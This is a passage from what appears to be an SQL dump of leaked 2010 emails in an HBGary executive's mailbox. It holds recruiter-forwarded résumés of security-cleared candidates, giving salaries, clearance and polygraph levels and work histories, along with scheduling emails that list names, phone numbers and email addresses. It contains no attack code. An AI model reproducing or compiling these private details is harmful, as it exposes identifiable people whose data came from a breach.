DesiredRESIDENCY:&nbsp;&nbsp;Lives in Maryland&nbsp;&nbsp; &nbsp;&nbsp;Will Relocate...Minimal TravelGEOGRAPHIC PREFERENCES: Anywhere USACLEARANCE:Active Top Secret ClearanceActive SSBI/SCI AccessActive NSA Full Lifestyle PolySTRENGTH:Advanced Stochastic Modeling and Quantitative Analysis; Data Network Performance; Quantitative Programming, especially in C++, MATLAB, VBA; Management and LeadershipHARDWARE/SOFTWARE:Extensive recent programming experience using C++, MATLAB, and Excel/VBA; prior experience using C, assembler languages, and others.EDUCATION:MBA (Focus Areas: Finance, Management) - Robert H. Smith School of Business, University of Maryland, 2008* GPA: 3.96/4.00&nbsp;&nbsp;--&nbsp;&nbsp;Relevant Projects: Independent study: Trading strategies for portfolios of variance swaps.Ph.D. Electrical Engineering - Princeton University, NJ, 1986M.S.E. Electrical Engineering - Princeton University, NJ, 1983M.A. Electrical Engineering - Princeton University, NJ, 1982* Focus Areas (for the 3 degrees from Princeton): Statistical Communication Theory, Data Networks; GPA: 4.02/4.3.B.S. Electrical Engineering - Ohio Northern University, 1981* GPA: 3.92/4.00Additional Studies:MSF Program (Completed 16 hours) - Boston College, MA, 2002 (GPA: 4.00/4.00)EXPERIENCE:2003 - Present: Verizon Federal Network SystemsPrincipal Technologist and Manager of Cyber Research GroupProviding professional services in quantitative analysis and network architecture and leading research group.Specific accomplishments include: Developing measurements architecture National Cyber Range paid proposal. Developing a model of Internet traffic patterns. Derived theory and implemented statistical computations resolving an unusual communications problem for a Government agency. Designed, implemented, and maintained an analytical performance model for the DoD Transformational Satellite Communications System. Results provided advance identification of performance concerns and addressed a key customer requirement. Developed quantitative capabilities to assess network vulnerability, network availability, and network topology design. Network vulnerability methods were adopted at the corporate level. Provided architectural and design advice to a Pentagon network renovation program (Command Communications Survivability Program) on MPLS, topology design, availability, and other technical issues. Led product definition and business case development for premier network performance engineering services.1996 - 2003: Genuity Corporation&nbsp;Consultant Technical Specialist (2001-2003)Forecasted network traffic, identified regional capacity requirements, and coordinated resulting plans.Specific accomplishments include: Modeled and analyzed the statistical behavior of network traffic and customer growth, providing a quantitative basis for refined forecasting. Forecasted network traffic, accurately predicting seasonal effects and leading to replacement of empirical forecasts with statistically-based forecasts. Modeled and forecasted product sales, improving over sales lead forecasts and reversing flow of forecast data. Conceived and implemented continuing advances in capacity planning computations. Derived an optimal circuit ordering strategy identifying substantial recurring cost savings. Produced queueing analyses to identify parameter settings for differentiated queueing mechanisms.Manager, IP Capacity Planning (1999-2001)Led forecasting of network traffic, identification of backbone and regional capacity requirements, and coordination of resulting plans.Specific accomplishments include: Promoted and helped lead consensus process strengthening linkages among business sales forecasts, capacity plans, and capacity deployments. Conceived and implemented statistically-based network traffic forecasting, vastly improving on prior methods and leading to expanded group responsibilities. Led continuing advancement and automation of capacity planning tools, reducing core planning cycle from six weeks to three days. Developed and maintained an access circuit planning capability. Established a quantitative financial basis for expansion of points of presence. Implemented reporting of available inventory of network services, contributing a core element of an executive dashboard of network status.Systems Architect (1998-1999)Provided quantitative and architectural consulting to multiple corporate lines of business.Specific accomplishments include: Developed a strategic cost analysis computation for a web-hosting business. Revealed cost drivers of the business and shifted the focus of capital investments. Derived quantitative relationships among design goals, service level agreement formulations, and revenue exposure. Developed specification language for service level agreements. Developed a concept of operations for capacity planning and assisted with its implementation, laying a solid foundation for later advances. Investigated performance and architectural issues of voice-over-IP. Identified cost, efficiency, and quality requirements to drive broad adoption. Developed numerous quantitative studies on topics including the performance of IP Class of Service implementation and feasible maximal latency guarantees.Manager of Systems Engineering and Analysis (1996-1998)Led a team of engineers and provided a key technical customer interface on systems engineering issues for the Treasury Communications System, a large government private network.Specific accomplishments include: Led design and implementation of capacity planning tools and processes, identifying significant cost savings in network topology. Led architectural development for backbone modernization. Characterized architectural alternatives to guide strategic direction. Determined and reported network performance, monitored service level agreements, and oversaw calculation of service level agreement credits. Received frequent recognition for building customer relationships.1993 - 1996: IIT Research InstituteSenior Computer ScientistProject manager and technical consultant on data networks for the Internal Revenue Service Tax Systems Modernization Program.Selected accomplishments include: Provided project management for technology assessment. Led development of reporting on architectural alternatives for network technology. Implemented a traffic model of a planned Internal Revenue Service tax processing architecture. Results enabled resolution of a customer design issue. Developed requirements for a technology assessment laboratory. Established the network infrastructure for the laboratory. Supported cost estimation and decision processes for laboratory establishment. Provided data gathering and analysis, traffic flow modeling, laboratory test planning, setup and execution of laboratory experiments, and report preparation.1986 - 1993: Georgia Institute of Technology&nbsp;Assistant Professor of Electrical EngineeringDeveloped a program of research and teaching in data networks, and fulfilled other academic responsibilities.Specific accomplishments include: Published theoretical research in data network performance, design, and optimization. Contributed twenty-three refereed papers. Supervised four graduate students through completion of PhDs. Developed and taught graduate-level courses on data network modeling, performance analysis, and protocols. Taught graduate-level courses on random processes and statistical communication theory. Taught undergraduate senior electives on data networking.ADDITIONAL INFORMATION:* Twenty-five years of experience applying stochastic modeling and quantitative analysis to data networking problems. Extensive record applying advanced theory to resolve practical problems of traffic forecasting, capacity planning, network resiliency, and others. Demonstrated management and leadership skills, with particular strength in building and leading teams with advanced computational skills. Superior written and oral communication skills.* Honors and Awards: Tau Beta Pi, Phi Kappa Phi; Omicron Delta Kappa; Shlumberger Fellow; AEA Japan Research Fellow (Participated in six-month program including internship at Oki Electric Company, Tokyo Japan, 1984); repeated recognition for performance for the Treasury Communication System; persistent achievement of 100% of incentive goals at GTE Internetworking.* Professional Membership: IEEE.\r\n~~~~~~~~~~~~~~~~~~~~~~Ed Wallach&nbsp;President &amp; CEOEd Wallach Search Group 301-365-3291 office&nbsp;&nbsp;301-613-0629 mobile301-365-3292 fax&nbsp;ed@wallachsearch.comwww.wallachsearch.comRecruiting Intelligence We can help with your national or global staffing needs through our affiliation with NPA.\r\n\r\n',3504,'aaron_hbgary_com/3504.html'),(10570,'2010-08-18','\"Ed Wallach\" <ed@wallachsearch.com>','/aaron@hbgary.com/new/1297008192.M809803P14101Q5425.eml','\"Aaron Barr\" <aaron@hbgary.com>','5','only a CI poly... VA only...CANDIDATE\'S NAME:&nbsp;&nbsp;5PERSONAL:&nbsp;&nbsp;U.S. Citizen&nbsp; &nbsp;&nbsp;SALARY:&nbsp;&nbsp;$135,000 &nbsp;RESIDENCY:&nbsp;&nbsp;Lives in Virginia&nbsp;&nbsp; &nbsp;&nbsp;Will Relocate...Minimal TravelGEOGRAPHIC PREFERENCES: N.VACLEARANCE:Active Top Secret ClearanceActive SBI/SCI AccessActive CI Poly-Open for a Lifestyle polySTRENGTH:Systems Engineer/Information AssuranceEDUCATION:M.S. Technical Management - Embry Riddle Aeronautical University, 2007B.S. Computer Science (Magna Cum Laude) - Park University, 1993A.A.S. Electronic Systems Technology - Community College of the Air ForceCertification:Certified Information Systems Security Professional (CISSP)EXPERIENCE:Aug. 2008 - Present: CACI TechnologiesSystems Engineer, PrincipalActively participated&nbsp;&nbsp;on&nbsp;&nbsp;a team designing a multi-level database system based on oracle DataVault and Sun Microsystems Trusted Extensions products. Primary responsible for the Application Enclave which was comprised of Red Hat Enterprise Linux (RHEL) version 5 servers. Implemented portions of the AAA design, including openldap, pluggable authentication modules (PAM), and RADIUS protocol.Nov. 2003 - Aug. 2008: Lockheed Martin IS&amp;GSSystems EngineerActively Participated in team which will deliver an Enterprise Identity Access Management system into customer data center. First operational Linux system customer will receive – RHEL 4.6. Oracle based solution including Oracle Real Application Cluster, Oracle. Identity Management, Oracle Internet Directory, and Oracle Virtual. Directory. Responsible for specifying, purchasing, integrating, and delivering all program hardware to include: Cisco 3750G switches, Cisco ASA 5505 VPN devices, F5 BIG-IP Local Traffic Managers, F5 BIG-IP Global Traffic Managers, Dell 2950 servers, Dell/EMC CX3-10 SAN arrays.Responsible for ensuring program successfully met all Critical Performance Measures including four-nines (.9999) availability. Performed on team which delivered a Protection Level 4 (PL4) Guard Server allowing secure cross domain data sharing and web browsing. Performed System Engineering on various Information Assurance endeavors for an Intelligence Community (IC) customer which required an in-depth understanding of several Information Security knowledge areas. Responsible for authoring Program Deliverable documents including Critical Performance Measures and Transition Plan.Systems Engineer / Information Systems Security OfficerPerformed as Release Manager for the P433 8.3 major release. Coordinated all aspects of delivery to include new technical content, software patches, hardware, transportation, logistics, and schedule. Performed System Engineering including technical planning, system integration, verification and validation, and Supportability analysis of new primary communications interface between system nodes of a National level system. Designed and implemented a Network-based Intrusion Detection System based on SNORT running in a Solaris 10 container. Information Systems Security Officer (ISSO) for the Special Programs area. Responsible to customer for all aspects of Information Security for systems accredited up to PL3. Draft final assembly of system engineering documents, including Requirements specifications and interface control documents. Responsible for the Certification and Accreditation of information systems to DCID 6/3 standards for multiple customers.May 1999 - Nov.2003: Sun MicrosystemsSystems Support EngineerConfiguring and administering customer Sun servers, Sun storage devices, and Solaris operating system hardware and software. Hardware platforms supported: all Sun servers from Sparc-based desktops up to and including the Ultrasparc III based F15K. Sun storage devices supported: Sparc Storage fiber channel arrays, A3500 hardware raid array, A3500FC fiber channel hardware raid array, A5000 fiber channel arrays, T3 fiber channel hardware raid arrays, and Sun HDS 99X0 data center arrays.Nov. 1993 - Mar. 1999: Lockheed Martin IS&amp;SSenior Development EngineerLead Engineer for major SGI/Cray hardware platform upgrade. Major emphasis placed on evaluating functionality of new Giga-ring HIPPI, DST-312 helical scan tape driver development, HIPPI frame buffer software, and RAID Software for new Gigaring fiber channel disk drives. Responsible for all aspects of upgrade including installation, integration, and testing of new hardware with an in-depth evaluation of new Gigaring I/O system and impact to program baseline applications.Jan. 1989 - Oct. 1993: Honeywell Commercial Flight SystemsTechnical Line LeaderLed team of four technicians in production testing and troubleshooting of commercial avionics systems. Increased MTBF of the Radio Management Unit (RMU) 850 from approximately 280 hours to over 2400 hours.Oct. 1985 - Jan. 1989: USAF, Seymour-Johnson AFBPrecision Measuring Equipment Laboratory (PMEL) Specialist&nbsp;As Primary Laboratory Technician, was responsible for the calibration and repair of metrology equipment at the component level. Responsible for engineering analysis, performance assessment, and calibration of assigned equipment.\r\n~~~~~~~~~~~~~~~~~~~~~~Ed Wallach&nbsp;President &amp; CEOEd Wallach Search Group 301-365-3291 office&nbsp;&nbsp;301-613-0629 mobile301-365-3292 fax&nbsp;ed@wallachsearch.comwww.wallachsearch.comRecruiting Intelligence We can help with your national or global staffing needs through our affiliation with NPA.\r\n\r\n',12466,'aaron_hbgary_com/12466.html'),(10571,'2010-08-18','\"Ed Wallach\" <ed@wallachsearch.com>','/aaron@hbgary.com/new/1297008193.M278340P14101Q5426.eml','\"Aaron Barr\" <aaron@hbgary.com>','6','he\'s accepted a contingent SAIC offer but is still looking... more of a software guy but has some RE, PKI and other security stuff..plus the ubiquitous nsa fullscope!!Resume of: 6Lives in MD	Will only work in MDTitle: Senior Software EngineerCurrent Salary: $123,000...desires 135KCurrent TS/SCI/NSA Fullscope PolySKILL SUMMARY:Software Engineer with experience developing real time (60 Hz) avionics display processor software using \"C\" and Ada (Rational Apex) on a PC under UNIX for a proprietary target. Programming Languages: \"C\" (2 years), Ada (2 years), C++ (Academic). Top Secret SCI Security Clearance with Full Scope Polygraph.Summary of Technical Skills:Languages:	Java (3yr to 2010), XML (2 yrs to 2010), UML (3 yrs to 2010), SQL (0.5 yrs to 2010), C# (1.5 yrs to 2008), HTML (0.5 yrs to 2010), C++ (1 yr to 2005), Ada (1.5 yrs to 2005), C (3 yrs to 2005)Certifications: Sun Certified Java Professional (SCJP), Security+Technologies: Struts, Spring, Web Services / SOA, CXF / AxisTools:	 Visual Studio, Eclipse, Rational Apex, Rational Rose, Enterprise Architect Wireshark, XMLSpyNetwork:	TCP/IP (0.2 yrs to 2008), HTTP (0.2 yrs to 2008), FTP (0.1 yrs t	 2008), SMTP (0.1 yrs to 2008), RTSP, RTP Video Codecs:	JPEG, M-JPEG, MPEG-4, H.263EDUCATION:B. A. Computer Science, University of Nevada, Las Vegas Cum Laude 5/2001 GPA: 3.7/4.0B. S. Molecular Biology, University of California, Santa Barbara 3/1997Other Training: Software Engineering Certificate Joint Arizona Consortium - Manufacturing and Engineering Education for Tomorrow11/2002 -11/2003EMPLOYMENT:Booz Allen HamiltonAugust 2008 -PresentSoftware EngineerWeb Software Development: Trained and led a team of three developers in the maintenance and enhancement of a secure content management portal. The portal is PKI enabled and securely maintains data up to the FOUO level in the Internet facing instances. Primary point of contact for all customers of the portal and led marketing activities from specialized customer to booth style demonstrations. Led and successfully captured several enhancement proposal efforts. Led the design, implementation and test of these enhancements.Cross Domain Solution Software Lead: Software Engineer on a $5M 1 year SOA-Enabled Cross Domain Solution proof of concept. Designed a large portion of the system leading up to PDR and CDR and was the primary technical presenter at CDR. After CDR assumed the role of software lead over 15 software engineer for the project. Planned the development and testing schedule through the remainder of the project. Initiated and developed several demonstrations during the project and was the primary technical point of contact for the customer. Primary contributor and presenter at the project final demonstration. Recognized by management and the clients as a trusted subject matter expert and one of the key contributors to the success of the project. Since the end of the project, is the primary contributor to the capture efforts for upcoming RFPs.ITT &nbsp;Special ProjectsSoftware Engineer IIIOctober 2005 - August 2008Windows Software Development: Member of a small team using C# and .NET to develop a Microsoft Windows application to process network audio / video traffic and execute device exploits. His responsibilities on the task have focused on device interaction and exploitation, reverse engineering of communications protocols and parsing of industry standard as well as proprietary headers. Implemented and maintained FTP and SMTP server software. Performed development using C# and Java of GUIs to communicate between devices using TCP/IP.Embedded Software Development: Developed an embedded application for mobile phones using Mobile Java.Performance: Received the highest rating available (outstanding) in my most recent annual performance evaluation. During this review he was cited as being the most proficient C# coder on the team.Leadership: Mentored and supervised the work of a new member of the team. Ensured a smooth transition of knowledge from a member who was leaving the company to a new member of the team.Windows Software Development: Worked independently to design and implemented a Windows GUI application to process multiple hyperspectral images simultaneously. Responsible for extracting and documenting requirements from customer. He converted IDL code to Visual C++ and used UML to design code and maintain documentation.Embedded Software Development: Developed embedded software for the ZWorld RCM3300 microprocessor. This software is designed to allow interprocessor communication over Serial and Ethernet. This work required the development of a design and implementation based on a limited set of requirements. Created test harness GUIs in Visual Studio .NET using C# to test the RCM3300.Boeing &nbsp; 2001- 2005Embedded Software Engineer Level IIDisplay Processor Code Development: Designed and developed software using Ada f the Longbow Apache helicopterâ€™s display processor (DP) source code. Designed and implemented new software as well as maintained and redesigned the existing software for the interaction with the aircraft\'s data transfer unit (DTU). Performed unit and integration testing on the DTU software and was the point of contact for analyzing all issues dealing with the DTU. Supervised two engineers who also developed and tested the DTU software.Display Processor Testing: Created black box scripts, written in C, to test the Longbow Apache helicopterâ€™s DP. Developed and supervised the integration of new methods of testing as well as new guidelines for test organization that significantly increased the level of code reuse and traceability. Developed tools in Java for the conversion of scripts in C to Java.Requirements Analysis: Analyzed requirements for logic and syntax errors, consistency and ambiguity. Assessed requirement changes for number of man-hours needed for code development and testing. Compared requirement against existing code for inconsistencies.Performance: Had the highest rating available, \"always exceeded expectations\", in my last annual performance evaluation. Credited with being the â€œtop script producerâ€ for his group and top code problem report producer for the DP.Leadership: Organized and provided leadership for teams assigned to test new hardware added to the aircraft. Mentored both new and existing employees to monitor and improve their performance. Developed new testing guidelines and procedures and taught classes to train employees on the new testing techniques and requirement styles. Key contact during the Longbow software SEI CMM Level 3 evaluation and audit.National Institutes of Heath (NIH)&nbsp;Pre-Intramural Research Training Award1997 -1999Molecular Biologist: Conducted biomedical research in cartilage regeneration. Developed an original system for the growth of cartilage in a lab environment. Developed and utilized protocols for the sequential analysis of metabolic content to cartilage. Gave oral and poster presentations of research results and co-authored three biomedical journals articles.\r\n~~~~~~~~~~~~~~~~~~~~~~Ed Wallach&nbsp;President &amp; CEOEd Wallach Search Group 301-365-3291 office&nbsp;&nbsp;301-613-0629 mobile301-365-3292 fax&nbsp;ed@wallachsearch.comwww.wallachsearch.comRecruiting Intelligence We can help with your national or global staffing needs through our affiliation with NPA.\r\n\r\n',10147,'aaron_hbgary_com/10147.html'),(10572,'2010-08-18','\"Ed Wallach\" <ed@wallachsearch.com>','/aaron@hbgary.com/new/1297008193.M550164P14101Q5427.eml','\"Aaron Barr\" <aaron@hbgary.com>','7','Interesting background...don\'t think she has a poly...waiting for more info from her including an updated resume, tickets etc...She owns a home in VAShe\'s available to interview immediately and can begin a new position in October.&nbsp;&nbsp;7$130K Minimum desiredActive ClearancesOBJECTIVES&nbsp;Versatile and team player, 7 is seeking a position to apply her technical, analytical, managerial, and leadership skills. 7 is acquainted with DoD information assurance program, ISO 17799/27001 and SABSA Security Framework. Good understanding with regards to the applications of the special publications of the National Institute for Standard and Technology (NIST). 7 has written several essays about Information Assurance (IA) (refer to publications in the resume below). 7 participated in missions supporting computer network defense response action (CND/RA). She conducted&nbsp;vulnerability&nbsp;assessments, analyzed security threats and techniques, tactics, and procedures (TTP) of cyber threats and cyber crimes. Her overall experience encompasses the entire spectrum of technical IA and security management.&nbsp;Accept 25-75% travel CONUS and OCONUS with negotiable compensation.PROFESSIONAL RELEVANT EXPERIENCE PACIFIC NORTHWEST NATIONAL LABORATORY (PNNL) headquarter in Richland , WACurrent&nbsp;Engineer Scientist IVNetwork forensics analysis and data set analysis&nbsp;Assumption-based queries and identification to isolate&nbsp;and confirm abnormal traffic&nbsp;researches in cyber security related topics&nbsp;SECURICON - Arlington, VA2008Senior Security Intrusion Analyst Digital Investigation - Information AssuranceContract with JTF-GNO - DISASenior Security Intrusion Analyst Cyber intelligence and digital security investigation&nbsp;Network security experience on Windows and UNIX system (NetFlow)Collect and investigate the current cyber-threats and related attacks vectors against the global information grid (GIG) and, perform networkvulnerability&nbsp;analysis, security monitoringParticipate in the joint Intel fusion coordination between the different downstream and upstream organizations: JTF-GNO at DISA, NSA, FBI, US-CERT, NOSC, USMC, AFNOSC, ACERT, and other collateral major command (CENTCOM, PACOM, TRANSCOM, and etc) and other regional government organizationsSRA International Arlington, VA2004 - 2008&nbsp;Security Network Engineer &amp; Information Assurance AnalystSecurity Analyst &amp; Security Network auditingDigital forensics investigation (DFI)Security analyst and auditor Guidance and Compliance of the internal information system infrastructureDefined audit requirements and scope, investigate and document findings in an audit reportRecommended security solution to protect the internal information system infrastructureParticipated in writing and reviewing System Security Plan (SSP) and internal security policiesINSCOM - 1st Information Operation Command - Fort Belvoir, VA - Jan. 2005 - Jul. 2007Information Security OfficerArmy Computer Emergency Response (ACERT)Support Mission - Computer Network Operations Defense (CNOD)Implemented the tactics, techniques, and procedures (TTPs) supporting Computer Network Defense (CND) Response Action (CND-RA)Worked closely with various Army and government agencies (US Army Criminal Investigation Command (CID), US Army Computer Emergency Response Teams (ACERT), various Regional Computer Emergency Response Teams (RCERTs), Army research&nbsp;Labs, Joint Task Force/Global Network Operations (JTF-GNO) and National Security Agency (NSA)Functional assignment as security officer responsible for enforcing correct measure of protection within classified environment&nbsp;Leadership position Ft Gordon: supervised and managed 18 soldiers within the context of Warrant Officer Basic Course (WOBC) and leadership development.GENERAL DYNAMICS (sub-contract) - Arlington, VA Pentagon Renovation Project Oct. 2003 - May 2004.Senior Quality Assurance Automated System Network Infrastructure.Quality Management Assurance ISO QMS 9000 complianceVerified compliance between pre-deployment configurations devices with logical layer requirement. Provided on-site Pentagon installation QA support and inspectionDeveloped quality records and reports quality matrices.US ARMY NATIONAL GUARD Colorado Springs, CO193rd Army Space Support Battalion Nov. 2002 to Oct. 2004&nbsp;SATCOM Technician193rd Space Command Support BN, Peterson AF Base, Colorado&nbsp;Space Electronic warfare Detachment (SEWD) SpaceCentral Mission Area warfare in support of DoD duringMission Iraqi Freedom.&nbsp;RF and SATCOM communications in support of Operations Iraqi Freedom (OIF) in theater (oversea)LEVEL(3) COMMUNICATIONS - Broomfield, CO&nbsp;Feb 2001 July 2002&nbsp;Network EngineerTier III WAN Network Operations Engineer responsible for the management, monitoring, and maintenance of a multi-vendor global IP network in USA, Asia, and EUInitiated the need for configuration management for Network Operating Center (NOC). Developed and managed change control and procedures for configuration changes (configuration management)FIRSTWORLD COMMUNICATIONS - Englewood, CO&nbsp;Fall 1999 Feb 2001Network engineer and team leader in the NOCCisco CCNA Academy Instructor at Red Rock CommunityCollege (RRCC)NATIONAL RENEWABLE ENERGY LAB. (NREL) DoE Golden, CO (1998 1999)Laboratory TechnicianFundamental researches&nbsp;in Organic ChemistryMILITARYUS ARMY RESERVE Service Member (SM) Fort Belvoir, VA1st Information Operations Command Support Battalion&nbsp;Warrant OfficerUS NATIONAL GUARD SM - Peterson AF Base, CO193rd Army Space Support Battalion&nbsp;US NATIONAL GUARD SM - Buckley AF Base, CODetachment 5 Army Medical Support BattalionCLEARANCES Need to KnowFORMAL EDUCATION&nbsp;NORWICH UNIVERSITYMasters of Science in Information Assurance (MSIA), 2007 Program accredited by NSA&nbsp;GPA = AJOHNS HOPKINS UNIVERSITYCompleted coursework: JAVA Programming &amp; Biostatistics Analysis, 2004SORBONNE UNIVERSITYPost-master and Masters of Art (MA) degree in Philosophy, 1993Received Very High HonorsTECHNICAL DEVELOPMENT COURSES AND TRAININGS Cisco Certified Network Associate (CCNA), 2000Cisco Certified Network Professional (CCNP), 2002&nbsp;Inter-Services Space Fundamental, U.S. Air Force, 2002Certified Information Systems Security Officer (ISSO), 2003&nbsp;UNIX System Architecture, 2003Certified&nbsp;ethical&nbsp;Hacker (CEH), 2005E-Council Certified Security Analyst (ECSA), 2006RedHat Training Administration and Network Security, 2007CompTIA Security +, 2008GIAC System Network Auditor (GSNA), 2008PCI/DSS 1.2 Becoming and Staying Compliant (training 2008)SANS GIAC Certified ISO-17799 Specialist (G7799), 2009Joint Network Attack Course (JNAC), 2009SANS GIAC Security Essentials Certification (GSEC), 2009SANS GIAC Certified Forensic Analyst (GCFA) , 2010Memberships:InfraGard Member - Washington Field ChapterISACA (National Capital Area)&nbsp;SANS MemberSSI/PAFI CertifiedToastmaster memberSKILLS SET&nbsp;NETWORK and IT SECURITY:Digital data analysis: file system analysis (Fat, NTFS, UFS, ext2/3). Toolkit: SleuthKit (mactime, mac-robber, etc), Traffic flaw (SiLK), Wireshark, Autopsy, Helix, password cracking, recovery of deleted data, timeline analysisvulnerability&nbsp;testing: TCP/IP protocol and network services (port), NMAP, Ethereal, and&nbsp;hacking&nbsp;and auditing tools, and etc.Wireless security countermeasures WiFi, GSM, WiMaxWindows Server 2003: deployment of Active Directory (AD), Microsoft Exchange, network services, Server Resources Management, SQL serverNetworking: Cisco, Juniper, Extreme Networks, Vyatta Layer 2 &amp; 3 protocols (network basics networking): Ethernet, Gigabit Ethernet, SONET, ATM, VLANS RIP, OSPF, BGP, MPLS, LDP, RSVP, HSRP)LINGUISTICS:Bilingual: fluent French/EnglishTutor at Michigan State UniversityDefense Linguistic Proficiency Test (DLPT) 3/3&nbsp;French Assistant High School, MichiganCyber-Defense: US Army Criminal Investigation Command (CID) with interpretation and translation of legal documents in relation with a cyber-crime investigation (French legal jurisdiction and International Criminal Police Organization (Interpol))Consulting for DoJ (2007): translation in the context of international litigation (affidavit for extradition) between Europe (France) and United StatesMISCELLEANEOUS:UNIX/Linux flavored (Fedora, RedHat, WINDOWS (NT, 2003 Server, XP)), MAC OSX, VMware Workstation, Core Impact, i2-Analyst Notebook, Web design (HTML, Dreamweaver, Studio MX), VMware Workstation, VISIO, AutoCADPUBLICATIONS&nbsp;INFOSEC Management or Business Impact Analysis, not just a Good Idea but a Necessity in IA Today!, October 2007Digital Forensics: Concepts and Applications, May 2007Defense Continuity Plan (DCP) in the Context of a PandemicReadiness (Phases I and II), February 2007 (pandemicCOOP) in compliance and requirement (Homeland SecurityAct of 2002 (A Bill))An Organic and Holistic Approach to Information Assurance, November 2006Paradox of Implication, October 1992&nbsp;Philosophical and Logical Foundations of Artificial Intelligence, June 1991 (Thesis Sorbonne-Paris IV)\r\n~~~~~~~~~~~~~~~~~~~~~~Ed Wallach&nbsp;President &amp; CEOEd Wallach Search Group 301-365-3291 office&nbsp;&nbsp;301-613-0629 mobile301-365-3292 fax&nbsp;ed@wallachsearch.comwww.wallachsearch.comRecruiting Intelligence We can help with your national or global staffing needs through our affiliation with NPA.\r\n\r\n',14293,'aaron_hbgary_com/14293.html'),(10573,'2010-08-18','\"Kirby Kintner\" <kkintner@digitalmanagement.com>','/aaron@hbgary.com/new/1297008193.M795732P14101Q5428.eml','\"Moore, Debbie Taylor\" <dtmoore@secureinfo.com>,\"Fertal, Martin J (TASC)\" <Martin.Fertal@TASC.com>,\"Wilson, Rob\" <rob.wilson@telos.com>,\"Friedman, Bruce L (IS)\" <bruce.friedman@ngc.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"William Luti\" <wluti@digitalmanagement.com>','IA Spaekers','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nDMI\r\nis looking &nbsp;for members of our ITSSS advisory board &#8211; 1 person from\r\neach company.&nbsp; The names submitted should be &#8220;Industry Recognized\r\nExperts and experienced Public Speakers&#8221; .&nbsp; They will be expected to\r\nprovide 1 speaking engagement at TSA per year under the training program and\r\nwill meet quarterly as part of the advisory board.\r\n\r\n&nbsp;\r\n\r\nI&#8217;d\r\nlike a name and 2-3 sentence bio for each candidate emphasizing the individual&#8217;s\r\nfield of expertise.&nbsp; \r\n\r\n&nbsp;\r\n\r\nI&#8217;d\r\nlike to get this by tomorrow noon if possible.\r\n\r\n&nbsp;\r\n\r\nThanx\r\n- KJK\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1785,'aaron_hbgary_com/1785.html'),(10574,'2010-08-18','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008194.M230843P14101Q5430.eml','\"Kirby Kintner\" <kkintner@digitalmanagement.com>,\"Kirby Kintner\" <kkintner@digitalmanagement.com>,,,,','Re: IA Spaekers','You can add me Iw will provide content.  Sent from my iPhoneOn Aug 18, 2010, at 3:31 PM, Kirby Kintner &lt;kkintner@digitalmanagement.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nDMI\r\nis looking  for members of our ITSSS advisory board – 1 person from\r\neach company.  The names submitted should be “Industry Recognized\r\nExperts and experienced Public Speakers” .  They will be expected to\r\nprovide 1 speaking engagement at TSA per year under the training program and\r\nwill meet quarterly as part of the advisory board.\r\n\r\n \r\n\r\nI’d\r\nlike a name and 2-3 sentence bio for each candidate emphasizing the individual’s\r\nfield of expertise.  \r\n\r\n \r\n\r\nI’d\r\nlike to get this by tomorrow noon if possible.\r\n\r\n \r\n\r\nThanx\r\n- KJK\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10806,'aaron_hbgary_com/10806.html'),(10575,'2010-08-18','\"Kirby Kintner\" <kkintner@digitalmanagement.com>','/aaron@hbgary.com/new/1297008194.M488931P14101Q5431.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: IA Spaekers','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nThanx\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, August 18, 2010 3:44 PM\r\nTo: Kirby Kintner\r\nCc: Moore, Debbie Taylor; Fertal, Martin J (TASC); Wilson, Rob;\r\nFriedman,Bruce L (IS); William Luti\r\nSubject: Re: IA Spaekers\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nYou can add me Iw will provide content. &nbsp;\r\n\r\nSent from my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Aug 18, 2010, at 3:31 PM, Kirby Kintner &lt;kkintner@digitalmanagement.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDMI is looking &nbsp;for members of\r\nour ITSSS advisory board &#8211; 1 person from each company.&nbsp; The names\r\nsubmitted should be &#8220;Industry Recognized Experts and experienced Public\r\nSpeakers&#8221; .&nbsp; They will be expected to provide 1 speaking engagement at TSA\r\nper year under the training program and will meet quarterly as part of the\r\nadvisory board.\r\n\r\n&nbsp;\r\n\r\nI&#8217;d like a name and 2-3 sentence bio\r\nfor each candidate emphasizing the individual&#8217;s field of expertise.&nbsp; \r\n\r\n&nbsp;\r\n\r\nI&#8217;d like to get this by tomorrow noon\r\nif possible.\r\n\r\n&nbsp;\r\n\r\nThanx - KJK\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7343,'aaron_hbgary_com/7343.html'),(10576,'2010-08-18','\"Topper, Dawn O\" <Dawn.Topper@ManTech.com>','/aaron@hbgary.com/new/1297008194.M688297P14101Q5432.eml','\"Aaron Barr\" <aaron@hbgary.com>','Meeting with ManTech Scheduled for 8/19 - 1:30 p.m.','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nGood afternoon,\r\n\r\n&nbsp;\r\n\r\nI am filling in today for\r\nBill Varner&#8217;s Executive Assistant, Dana Briggs.&nbsp; Bill requested I\r\ncontact you to see if it is possible to change the Opportunity Discussion with\r\nManTech scheduled for Thursday, August 19 at 1:30 p.m. to 3:00 p.m.\r\n\r\n&nbsp;\r\n\r\nIf that time works with your\r\nand Penny Leavy&#8217;s schedule, please let me know and I will send out a\r\nmeeting update invite.\r\n\r\n&nbsp;\r\n\r\nThank you,\r\n\r\nDawn Topper\r\n\r\n703-610-9262\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13627,'aaron_hbgary_com/13627.html'),(10577,'2010-08-18','\"Potomac Officers Club\" 